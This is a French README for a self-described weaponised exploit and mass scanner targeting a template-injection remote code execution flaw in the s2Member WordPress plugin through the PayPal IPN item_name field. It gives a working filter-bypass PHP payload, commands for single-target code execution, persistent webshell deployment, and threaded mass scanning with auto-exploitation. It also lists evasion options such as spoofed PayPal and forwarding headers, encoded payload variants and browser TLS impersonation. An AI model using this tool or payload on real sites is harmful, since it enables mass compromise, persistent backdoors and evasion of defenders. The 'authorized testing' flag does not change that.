
Scanner d'exploitation et de masse en un seul fichier pour CVE-2026-86596, une RCE par injection de template dans s2Member via le paramètre item_name de l'IPN PayPal, avec variantes de contournement et déploiement de webshell.
CVSS 9.8 | CVE-2026-86596 | Correctif : 261001+
Exploit weaponisé et scanner monofichier pour l'injection de template s2Member via le paramètre IPN item_name.
$paypal = strip_php_tags_deep($paypal); // Ne supprime que le littéral '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg)); // Supprime %%x%% -> réassemble <?php
Charge utile : <%%x%%?php system('id'); ?> → contourne strip_php_tags_deep, se réassemble en <?php valide après le nettoyage des placeholders.
# RCE sur une cible unique
python3 poc.py target.com --cmd "id" --authorized
# Webshell persistant (accès : /shell.php?pass=cmd)
python3 poc.py target.com --cmd "shell:mysecret" --authorized --deploy-shell
# Matrice de contournement complète (toutes les variantes)
python3 poc.py target.com --cmd "id" --authorized --full-bypass
# Scan massif avec reconnaissance
python3 poc.py targets.txt --scan --threads 30 --recon
# Scan + exploitation
python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output results.json
| Option | Description |
|---|---|
--cmd "id" | Commande à exécuter (ou shell:pass pour un webshell) |
--scan | Mode scan massif (lecture des cibles depuis un fichier) |
--exploit | Tenter l'exploitation pendant le scan |
--authorized | REQUIS pour toute action d'exploitation |
--recon | Reconnaissance complète avant exploitation |
--item-number | item_number spécifique (par défaut : découverte automatique) |
--proxy-verification | Clé s2member_paypal_proxy_verification |
--write-test | Écrire un fichier de test au lieu d'exécuter une commande |
--deploy-shell | Déployer un webshell persistant |
--shell-path | Nom de fichier du webshell (par défaut : shell.php) |
--full-bypass | Essayer TOUTES les variantes de contournement (lent) |
--no-evasion | Désactiver toutes les tentatives de contournement |
--threads N | Threads de scan (par défaut : 15) |
--output file | Sortie JSON/CSV |
--http-proxy | Proxy HTTP(S) |
--impersonate | Empreinte TLS : chrome/firefox/safari/edge |
--insecure | Désactiver la vérification TLS |
--verbose | Sortie détaillée |
| Couche | Variantes |
|---|---|
| Charge utile | 10 : brute, urlenc, b64, concat, var-func, assert, preg_replace/e, create_function, shortcode, shortcode+b64 |
| Écriture | 4 : file_put_contents, fopen/fwrite, shell_exec, b64_decode |
| Shell | 5 : eval, system, assert, b64_eval, shortcode |
| Requête | 5 : form, multipart, dup, multipart-dup, JSON |
| En-têtes | 7 : usurpation XFF, referer/origin PayPal, en-têtes IPN, cluster |
| TLS | 4 : chrome, firefox, safari, edge (curl_cffi) |
item_number valide (ID d'un article/page protégé)do_shortcode() / [s2If php=...]/root/labv/
├── poc.py # Exploit weaponisé unique + scanner (384 lignes)
├── README.md # Ce fichier
└── targets.txt # Exemple de liste de cibles
UNIQUEMENT POUR DES TESTS AUTORISÉS. L'option --authorized confirme l'existence d'une autorisation écrite.